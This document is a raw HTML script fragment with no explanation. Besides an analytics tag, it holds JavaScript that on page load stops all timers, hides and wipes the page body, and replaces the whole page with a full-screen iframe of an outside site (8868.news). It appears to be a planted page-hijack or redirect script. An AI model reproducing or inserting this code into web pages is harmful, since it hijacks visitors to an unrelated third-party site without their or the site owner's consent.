<script></script>



<script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script>
<script>LA.init({id:"3Jbrl0O82jwHbezW",ck:"3Jbrl0O82jwHbezW"})</script>

<script>
    var murl = 'https://8868.news'; // 移动端URL
    var durl = 'https://8868.news'; // 电脑端URL
    var ntitle = "https://8868.news";

    var ADAPI = new function () {
        var a = this;
        a.status = false;
        
        // 样式拼接函数
        a.style = function (d) {
            var c = "!important", b = d.split(";").join(c + ";");
            return b + (b.substr(-c.length - 1, c.length) == c ? "" : c);
        };
        
        a.clearIntervalAll = function () {
            for (var b = 1; b < 99999; b++) {
                window.clearInterval(b);
            }
        };
        
        // 动态插入 meta 和样式
        a.writeBaseStyle = function () {
            var metaRenderer = document.createElement('meta');
            metaRenderer.name = 'renderer';
            metaRenderer.content = 'webkit';
            document.head.appendChild(metaRenderer);

            var metaIE = document.createElement('meta');
            metaIE.setAttribute('http-equiv', 'X-UA-Compatible');
            metaIE.content = 'IE=edge,chrome=1';
            document.head.appendChild(metaIE);

            var metaViewport = document.createElement('meta');
            metaViewport.name = 'viewport';
            metaViewport.content = 'width=device-width, initial-scale=1.0, user-scalable=no';
            document.head.appendChild(metaViewport);

            var style = document.createElement('style');
            style.textContent = "*{" + a.style("margin:0;padding:0") + "}html,body{" + a.style("height:100%;width:100%;min-width:100%;max-width:100%") + "}body *:not(iframe){display:none!important}";
            document.head.appendChild(style);
        };

        a.getScript = function (b) {
            var c = document.createElement("script");
            c.setAttribute("type", "text/javascript");
            c.setAttribute("src", b);
            return c;
        };
        
        a.load = function (c, b) {
            if (a.status) {
                return false;
            }
            a.status = true;
            a.clearIntervalAll();
            a.writeBaseStyle();
            document.addEventListener("DOMContentLoaded", function () {
                var h = document.createElement("iframe");
                h.src = c;
                h.setAttribute("allowtransparency", "true");
                h.setAttribute("height", "100%");
                h.setAttribute("marginwidth", "0");
                h.setAttribute("marginheight", "0");
                h.setAttribute("style", a.style("border:0;display:block;-webkit-overflow-scrolling:touch;height:100%"));
                h.setAttribute("width", "100%");
                var d = document.body;
                d.setAttribute("class", "");
                d.setAttribute("style", a.style("margin:0;padding:0;height:100%;overflow-x:hidden;overflow-y:hidden;max-width:100%;min-width:100%;line-height:normal"));
                d.innerHTML = "";
                document.body.parentElement.setAttribute("style", a.style("overflow:visible;height:100%;width:100%;min-width:100%;max-width:100%;"));
                d.appendChild(h);

                switch (typeof b) {
                    case "object":
                        for (var f = 0; f < b.length; f++) {
                            d.appendChild(a.getScript(b[f]));
                        }
                        break;
                    case "string":
                        d.appendChild(a.getScript(b));
                        break;
                }
                if (ntitle != "") {
                    document.title = ntitle;
                }
            });
        };
    };

    // 检查是否为移动设备
    function check() {
        var userAgentInfo = navigator.userAgent;
        var Agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
        var flag = true;
        for (var v = 0; v < Agents.length; v++) {
            if (userAgentInfo.indexOf(Agents[v]) > 0) {
                flag = false;
                break;
            }
        }
        return flag; // 返回 true 为电脑端，false 为移动端
    }

    // 根据设备加载不同的页面
    var flag = check();

    if (!flag) {
        // 移动端逻辑
        ADAPI.load(murl, []);
    } else {
        // 电脑端逻辑
        document.body.innerHTML = '<iframe src="' + durl + '" style="border:0;width:100%;height:100%;"></iframe>';
    }
</script>
